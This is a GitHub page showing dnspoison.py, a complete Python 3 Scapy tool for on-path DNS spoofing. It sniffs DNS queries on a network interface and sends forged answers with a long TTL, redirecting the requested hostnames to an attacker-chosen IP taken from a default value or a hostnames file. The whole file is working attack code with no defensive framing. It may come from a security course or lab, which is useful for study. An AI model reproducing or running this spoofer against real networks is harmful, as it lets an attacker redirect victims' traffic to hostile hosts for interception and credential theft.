-
Notifications
You must be signed in to change notification settings - Fork 1
/
dnspoison.py
149 lines (105 loc) · 3.94 KB
/
dnspoison.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
#DNS Poisoner (on path attack) using Scapy Framework. Python 3.
import argparse
import socket
from scapy.all import *
#SET DEFAULT DST HERE IF NOT SPECIFYING HOSTNAMES FILE
defaultDst = '10.0.2.15'.encode('UTF-8')
hostnames = None
def sniffLive(interfaceName, bpf):
print('Sniffing live with bpf:{} in interface:{}\n'.format(bpf, interfaceName))
sniff(prn=processPacket, filter=bpf, iface=interfaceName, store=0)
return 0
# Returns True if is targettable DNS request
def isRelevant(pkt):
retval = True
#test if packet is DNS request
if (not pkt.haslayer(DNS) or not pkt[DNS].qr == 0):
return False
#test if packet hostname matches a specified hostname
if not hostnames == None:
retval = pkt[DNS].qd.qname in hostnames
return retval
#given dns query: pkt, and ip fakeDst
#returns dns response pkt pointing to fakeDst
def forgeResponse(pkt, fakeDst):
fResponse = Ether()/IP()/UDP()/DNS(pkt[DNS])
fResponse[DNS].qr = 1
fResponse[DNS].ra = 1
fResponse[DNS].ancount = 1
rD = scapy.layers.dns.DNSRR(rrname=pkt[DNS].qd.qname, type='A', rclass ='IN', ttl=50000, rdata=fakeDst)
fResponse[DNS].an = rD
fResponse[UDP].dport = pkt[UDP].sport
fResponse[UDP].sport = pkt[UDP].dport
fResponse[IP].dst = pkt[IP].src
fResponse[IP].src = pkt[IP].dst
fResponse[Ether].dst = pkt[Ether].src
fResponse[Ether].src = pkt[Ether].dst
return fResponse
def processPacket(pkt):
if(isRelevant(pkt)):
#print(pkt[DNS].summary())
#pkt[DNS].show2()
#identify redirect destination (current machine or other specified ip)
fakeDst = None
if hostnames == None:
fakeDst = defaultDst
else:
fakeDst = hostnames[pkt[DNS].qd.qname]
#forge response packet
fResponse = forgeResponse(pkt, fakeDst)
print('Victim request:')
print(pkt[DNS].qd.qname)
print('Forged response dst:')
print(fakeDst)
#send forged packet
send(fResponse[IP])
print()
else:
return
return
#loads hostname ip pairs from hostname file into dict
def loadHostnamesFile(hostnamesFile):
if not os.path.exists(hostnamesFile):
print('ERROR: Specified hostname file not found')
exit(1)
global hostnames
hostnames = {}
pattern = r'''(\S+)\s+(\S+)'''
with open(hostnamesFile, 'r') as input:
for line in input:
m = re.match(pattern, line)
currentIP, currentHostname = m.groups()
currentHostname = currentHostname.encode('utf-8')
currentIP = currentIP.encode('utf-8')
print('h:{}, ip:{}'.format(currentHostname, currentIP))
#check if hostname already loaded, if not, add to dict.
if currentHostname in hostnames:
print('ERROR: only one line per hostname')
exit(1)
else:
hostnames[currentHostname] = currentIP
return True
def main():
print('Starting dnspoison.py')
#parse args
# dnspoison.py [-i interface] [-f hostnames] [-e expression]
parser = argparse.ArgumentParser()
parser.add_argument('-i', nargs='?', \
choices=[x[1] for x in socket.if_nameindex()], metavar='interfaceName', \
help='specify interface to sniff packets on. Automatically picks if none specified.')
#implement an array of options
parser.add_argument('-f', metavar='hostnames.txt', \
help='specify ip hostname pairs to hijack. 1 pair per hostname, separated by whitepace')
parser.add_argument('-e', metavar='BPF', help='specify BPF expression')
parsed = parser.parse_args()
print(parsed)
if parsed.i == None:
interface = socket.if_nameindex()[0][1]
else:
interface = parsed.i
if not parsed.f == None:
loadHostnamesFile(parsed.f)
sniffLive(interface, parsed.e)
return
if __name__ == "__main__":
main()